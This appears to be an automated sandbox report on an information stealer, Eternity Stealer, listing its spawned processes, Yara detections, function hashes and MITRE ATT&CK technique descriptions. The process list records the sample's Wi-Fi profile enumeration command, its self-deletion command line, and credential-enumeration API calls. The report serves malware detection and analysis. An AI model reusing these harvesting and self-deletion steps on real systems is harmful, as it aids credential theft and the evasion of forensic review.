Yara matches:	Rule: JoeSecurity_EternityStealer, Description: Yara detected Eternity Stealer, Source: 00000000.00000000.333992859.0000000000AD2000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:30:46
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x4a570000
File size:	345'088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:30:46
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0xff240000
File size:	12'800 bytes
MD5 hash:	0C8C209151A45A4D7774E89C2F4079AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:30:46
Start date:	29/03/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x1720000
File size:	87'040 bytes
MD5 hash:	637982A421D0133DCEAA0D1490D1DC9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:30:46
Start date:	29/03/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr All
Imagebase:	0xffad0000
File size:	71'168 bytes
MD5 hash:	6A2E9BBD516D064C925A9634A5632854
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:31:46
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\user\Desktop\Stealer.exe"
Imagebase:	0x4a0b0000
File size:	345'088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:31:46
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0xff780000
File size:	12'800 bytes
MD5 hash:	0C8C209151A45A4D7774E89C2F4079AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:31:46
Start date:	29/03/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1
Imagebase:	0xff1e0000
File size:	16'896 bytes
MD5 hash:	5FB30FE90736C7FC77DE637021B1CE7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE93D998ED Relevance: 12.9, Strings: 8, Instructions: 2861
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JS86, xrefs: 000007FE93D9A4E2
Fim, xrefs: 000007FE93D9BBEF
qLxJ, xrefs: 000007FE93D9AFE4
BrG6, xrefs: 000007FE93D9C583
b.WR, xrefs: 000007FE93D9B881
6)f_, xrefs: 000007FE93D9A859
uWsy, xrefs: 000007FE93D99E39
+`, xrefs: 000007FE93D9A18C

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID: 6)f_$BrG6$Fim$JS86$b.WR$qLxJ$uWsy$+`
API String ID: 0-4240743467
Opcode ID: c8c6e94e7c4bb8b607d77dc60372651641cd40e204ea7ca62725704429448371
Instruction ID: 4af4dfb5fd038689e038a5c5d69306e955a60858fd2323c00e8f3a04db63decd
Opcode Fuzzy Hash: c8c6e94e7c4bb8b607d77dc60372651641cd40e204ea7ca62725704429448371
Instruction Fuzzy Hash: CC43E6B1E15A1D8FEBA0EB68CC55BD9B6F5FB98301F1041E5900CE3655EA78AEC08F41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93DA2784 Relevance: 5.7, Strings: 4, Instructions: 745
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X3"Z, xrefs: 000007FE93DA28C5
{->w, xrefs: 000007FE93DA284E
DH', xrefs: 000007FE93DA2841
,m, xrefs: 000007FE93DA2DE2

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID: DH'$X3"Z${->w$,m
API String ID: 0-3306116339
Opcode ID: 5dcbb1583c168586154b59857d99a51465fb7eb6d229b3ee96e29d72442e9f0a
Instruction ID: dac3dd20e2827bbf81aea0835aafe3952576ffe09e08946169a651a49d3aeabc
Opcode Fuzzy Hash: 5dcbb1583c168586154b59857d99a51465fb7eb6d229b3ee96e29d72442e9f0a
Instruction Fuzzy Hash: 3562F8B0E046198FEBA4DB68C8957E9B7F1FF98301F1441AAD00DE7765EB34A9818F41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D961B0 Relevance: 5.7, Strings: 4, Instructions: 697
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hVU?, xrefs: 000007FE93D9692E
cQU,, xrefs: 000007FE93D96827
Ktx, xrefs: 000007FE93D968BA
S1z&, xrefs: 000007FE93D9673D

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID: Ktx$S1z&$cQU,$hVU?
API String ID: 0-1265154631
Opcode ID: 74ce24f9316972193f09d219ee00640ad062eefee4890adfed4862c9ab2985d1
Instruction ID: 345e07bf182315c46ad3d3168ebc7535de95f3ef83e7dab651a483f7ccd4c820
Opcode Fuzzy Hash: 74ce24f9316972193f09d219ee00640ad062eefee4890adfed4862c9ab2985d1
Instruction Fuzzy Hash: 43524C70E1561D8FEB94DBA8C8957EDB7B1FF98300F1041E9D00DE77A6DA34A9818B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93DB2C2D Relevance: 4.3, Strings: 3, Instructions: 598
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I`z, xrefs: 000007FE93DB3384
>2j, xrefs: 000007FE93DB3113
<WU, xrefs: 000007FE93DB3377

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID: <WU$>2j$I`z
API String ID: 0-1552865806
Opcode ID: 5a76c664daba7cb5147f0c80d7698f1cefe782f0f7710ba04fec98de9b66b3b4
Instruction ID: fe81f09b991d154bb2541c112481a69e0a2c6403f261f2e3188cc89d3480c61c
Opcode Fuzzy Hash: 5a76c664daba7cb5147f0c80d7698f1cefe782f0f7710ba04fec98de9b66b3b4
Instruction Fuzzy Hash: 5A42F871E14A1D8FEB90DBA8C8957DDB7F1FF98300F1441A6900CE77A5EA78A9818F41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93DAE211 Relevance: 3.2, Strings: 2, Instructions: 737
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v:6, xrefs: 000007FE93DAE81B
"/?, xrefs: 000007FE93DAE41F

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID: "/?$v:6
API String ID: 0-1173726457
Opcode ID: 998356abb946a13669ccb78e83992358bf0ef3be82e917853ae4e27f4998d613
Instruction ID: c58b5a8047d1cc06948fb193553428bf90ed6a7bf30544acbeb0aee2b7f4cd01
Opcode Fuzzy Hash: 998356abb946a13669ccb78e83992358bf0ef3be82e917853ae4e27f4998d613
Instruction Fuzzy Hash: 2762E8B1E1461D8FEB90EBA8C8957DDB7F5FB98300F1441A5900CE77A5EB34AA818F41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D940D5 Relevance: 2.1, Strings: 1, Instructions: 840
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J}*_, xrefs: 000007FE93D94540

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID: J}*_
API String ID: 0-494607371
Opcode ID: a33808c684c30a892028d9c9e3521570743ea7caaddb40e365fa2305273c8734
Instruction ID: be94749f22893454021d9e23c511fb7552e82ac7cab4f868eddda1ae2db6122e
Opcode Fuzzy Hash: a33808c684c30a892028d9c9e3521570743ea7caaddb40e365fa2305273c8734
Instruction Fuzzy Hash: F262E430E09A498FEB95DB78C8557E9BBF1FF59300F1441EAD00DD72A2DA78A881CB51

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D856F1 Relevance: 1.7, Strings: 1, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HY{, xrefs: 000007FE93D85931

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID: HY{
API String ID: 0-2631839145
Opcode ID: 2076b2891475f5e7dc572083ce67596590c7a4701e5683a9bb7740a7fc84eb68
Instruction ID: 904240919557f9eb5e3d554fde9da162819b42168c123a5e9b6efbf1313af51a
Opcode Fuzzy Hash: 2076b2891475f5e7dc572083ce67596590c7a4701e5683a9bb7740a7fc84eb68
Instruction Fuzzy Hash: F102A8B1E086498FDB49CBA8D8606FD7BF2EF95304F14417EE10AEB395E6386841CB05

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D88568 Relevance: .8, Instructions: 753COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d1ee022d8d7fbd7037480d04467687bd48bb3fe74cfb853d9fcdf97a012828
Instruction ID: 3ee69a6ba9f903cfacd4b88aadab84c4d429681bab9452b70a6652bbe4924b7a
Opcode Fuzzy Hash: 76d1ee022d8d7fbd7037480d04467687bd48bb3fe74cfb853d9fcdf97a012828
Instruction Fuzzy Hash: C6325330A18A054FDB48EB68D495B76B7F2FBD8301B1046BDD40DD76A6DA74F9808782

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93DA4794 Relevance: .7, Instructions: 743COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a05f6a268f057e1ef55cf4049b409ca650fa126bbd2cdb2c49a246bfd8791f10
Instruction ID: 3bc134ca1259b9e3144845cfa67bf002e68be0e67dfb0d95d7f3148769be5297
Opcode Fuzzy Hash: a05f6a268f057e1ef55cf4049b409ca650fa126bbd2cdb2c49a246bfd8791f10
Instruction Fuzzy Hash: 4D321D30A1CA494FEB89EB6884557BA37E6FB89300F2401A9E40DC73E7DA74FC529751

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93DA3BF5 Relevance: .7, Instructions: 671COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b9c017275173324c1ea9f17d9998bb23d23126cdef4e1a58b0cc77696505556
Instruction ID: f93273b479d9dd10613d30d06185cd4eef79fa882b7311139fe9d1a260f640a0
Opcode Fuzzy Hash: 0b9c017275173324c1ea9f17d9998bb23d23126cdef4e1a58b0cc77696505556
Instruction Fuzzy Hash: 0C229230618A4A8FDB85EF28C494BB677E6FF98300F5044A9E40DC72A6DA35FC52DB51

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93DB0DAA Relevance: .6, Instructions: 646COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd541eb81af49db54e6477272fc6c636d9a26c86d107e69710b3107ec85a672
Instruction ID: b8bf7c002539e2a30e3d70343023b0d8eaa9f3009b79f81a556df5db3e58e2da
Opcode Fuzzy Hash: cfd541eb81af49db54e6477272fc6c636d9a26c86d107e69710b3107ec85a672
Instruction Fuzzy Hash: 89123430B189194FEB88EB6CD465BB973E2FB98300F5045A9900DD73A6DE78FC819791

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D876F0 Relevance: .6, Instructions: 585COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b4832d724ba47af948796aafd4d9adb14bb1e093904034ae60b04ef2f03698
Instruction ID: d8005018574abbe1eaae685ef77abe70837c9c7a0bd1e978498e3c8749eadfc6
Opcode Fuzzy Hash: 02b4832d724ba47af948796aafd4d9adb14bb1e093904034ae60b04ef2f03698
Instruction Fuzzy Hash: 5802F630A1C64A4FF799EBA894A53B973D6FBC4310F24117DD44FC35E2DE68B8426292

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D8D7B2 Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fee34fb8e3c01d27fd16e34e49486635cf1252413b1dcd3dfb0f113fda445eaf
Instruction ID: f28ec6805c03a4cf0e7ad99b4595e7fdadcca497e7b15f0019611c7abacc0466
Opcode Fuzzy Hash: fee34fb8e3c01d27fd16e34e49486635cf1252413b1dcd3dfb0f113fda445eaf
Instruction Fuzzy Hash: E7E1C530908A4E8FEBA8DF28D8557F977E1FB94310F14426ED84DC76A5DB78B8418782

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D8CA06 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef2ee46337bd2081d400ab8aae0283f726e07360c9af2774656d8737ac9288cb
Instruction ID: 3703f4c5533f222ba49e9558c2751e64a1a1a788581a582134ec110c493a4a38
Opcode Fuzzy Hash: ef2ee46337bd2081d400ab8aae0283f726e07360c9af2774656d8737ac9288cb
Instruction Fuzzy Hash: C9F1B630918A8D8FEBA9DF28C8557F977D1FB94301F14426ED84EC76A1DB74B8418B82

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D90CB1 Relevance: 1.7, APIs: 1, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CredEnumerateW.ADVAPI32 ref: 000007FE93D90DB8

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID: CredEnumerate
String ID:
API String ID: 3404281133-0
Opcode ID: 8f68aa833cbc1f773568fe018be67de68f9f28fa24eab26d99fdb11ba35939a5
Instruction ID: 933acd3f62eafa500f6eef2f0efb04d1426c2f9a81bc5293a7d4b949bd1a51b8
Opcode Fuzzy Hash: 8f68aa833cbc1f773568fe018be67de68f9f28fa24eab26d99fdb11ba35939a5
Instruction Fuzzy Hash: 39419D3180DA584FD718DB68AC066FA7BF4EB55321F04426FE04DD35A2CA787946C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D8AAD0 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CredEnumerateW.ADVAPI32 ref: 000007FE93D90DB8

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID: CredEnumerate
String ID:
API String ID: 3404281133-0
Opcode ID: 771d3109a86ac03c69811532fa6d5c3fb337f3cbf296a24b41a0761931289490
Instruction ID: 60d29fe23c76b5355e681143aa81227a10eeebca850fdf7f78022863a6a5929d
Opcode Fuzzy Hash: 771d3109a86ac03c69811532fa6d5c3fb337f3cbf296a24b41a0761931289490
Instruction Fuzzy Hash: 3931D331908A188FDB18DB9C98457B977E5EBA8711F00426FD04ED3692CB70B8558BD1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FE93D81068 Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

4S_^, xrefs: 000007FE93D81071

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID: 4S_^
API String ID: 0-2164727147
Opcode ID: 6a792e58f49af0f9c723ebbe82d8804ac49492b82202f5fdb867c700f02a022e
Instruction ID: 5da6c1f7689493a76d0d706569803b793ae696e31383ec072c3b95a9329e2452
Opcode Fuzzy Hash: 6a792e58f49af0f9c723ebbe82d8804ac49492b82202f5fdb867c700f02a022e
Instruction Fuzzy Hash: C9515F2391CA721DF251727DB4867FD7B8C9BD1B78F0084B7E14AC90AB9C08668663F5

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D8C509 Relevance: .4, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a8bff71dc608af0d015e5de3efc391440fff4d1e3f0c5aa976ceffb82664789
Instruction ID: 7b9b5805f0d174719325ff450db41410423ba13810fbd92bdbc04d7bf74bdeeb
Opcode Fuzzy Hash: 5a8bff71dc608af0d015e5de3efc391440fff4d1e3f0c5aa976ceffb82664789
Instruction Fuzzy Hash: 11D1B770918A8D8FEBA8DF28CC557F977D1FB99301F14426ED84EC7691CB74A8418B82

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D81008 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa453ecbc3445e0dc1f4c9cdf6fb7a8a41dbecc6ccb0968d2ca4c169da526fd5
Instruction ID: 03c803b80b9c2dbbbfa5c7d1506590d8a626e6fa07ccabd6c5581d45d2ef567f
Opcode Fuzzy Hash: fa453ecbc3445e0dc1f4c9cdf6fb7a8a41dbecc6ccb0968d2ca4c169da526fd5
Instruction Fuzzy Hash: CD616F2391CA721DF55172ADB4863FD7B8C9BD1B38F0090B7E149C90AB9C08358563F5

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D81020 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff53647ac3653602406065aaa1cb17a3a45c8f9db2af78dd36c5b7087df93dd4
Instruction ID: 41b691782a499637c6127a77f6954e50e326add18ca72ed8fef0af69f8319774
Opcode Fuzzy Hash: ff53647ac3653602406065aaa1cb17a3a45c8f9db2af78dd36c5b7087df93dd4
Instruction Fuzzy Hash: BF614E2391DA721DF1517269B4866FD6B8C9BD1B78F0090B7E14AC90AB9C08368663F5

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D81028 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13dd81e3e09a9c17fc92303aa030607d5b930e8b898f2c53c762f9df59130755
Instruction ID: b596417c6c02029f04b341da70a1ab409bd366af0540aa0c82e31823bcb75813
Opcode Fuzzy Hash: 13dd81e3e09a9c17fc92303aa030607d5b930e8b898f2c53c762f9df59130755
Instruction Fuzzy Hash: 64514D2391DA721DF151727DB4867FD6B8C9BD1B78F0094B7E14AC90AB9C08328663F5

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D81030 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd13d152a4af802b69e46241d98e0bd07f2bc8a6c6cebeafbe4bb24173919ddc
Instruction ID: 2f4d167279beffe64b4ed893e6bccffba95fd2e79960703fb74b72804028700d
Opcode Fuzzy Hash: dd13d152a4af802b69e46241d98e0bd07f2bc8a6c6cebeafbe4bb24173919ddc
Instruction Fuzzy Hash: D7514C2391DA721DF1517269B4867FD6B8C9BD1B78F0084B7E14AC90AB9C08328663F6

Uniqueness

Uniqueness Score: -1.00%

Function 000007FE93D81070 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.466845232.000007FE93D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE93D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe93d80000_Stealer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e49df15c4177477591e5ebb4ad76f7d0fb8c7541fac253d1db8701cf89976e0
Instruction ID: 35648efead5fa4a68b898db7ba5133b1ff5648ee25f71399c95c2047fc876976
Opcode Fuzzy Hash: 5e49df15c4177477591e5ebb4ad76f7d0fb8c7541fac253d1db8701cf89976e0
Instruction Fuzzy Hash: E0514E2391CA721DF251727DB4867FD7B8C9BD1B78F0084B7E14AC90AB9D08628663F5

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

